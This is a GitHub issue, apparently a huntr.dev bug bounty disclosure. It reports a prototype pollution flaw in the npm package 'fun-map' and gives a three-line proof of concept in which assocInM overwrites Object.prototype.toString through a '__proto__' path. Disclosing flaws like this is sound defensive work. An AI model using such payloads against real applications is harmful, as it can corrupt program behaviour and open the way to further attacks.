Skip to content

huntr.dev - Prototype Pollution #1

@huntr-helper

Description

@huntr-helper

Vulnerability Description

Affected versions of this package are vulnerable to Prototype Pollution. The function assocInM could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Steps To Reproduce:

var a = require("fun-map"); 
a.assocInM({},["__proto__","toString"],"JHU"); 
console.log({}.toString);

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions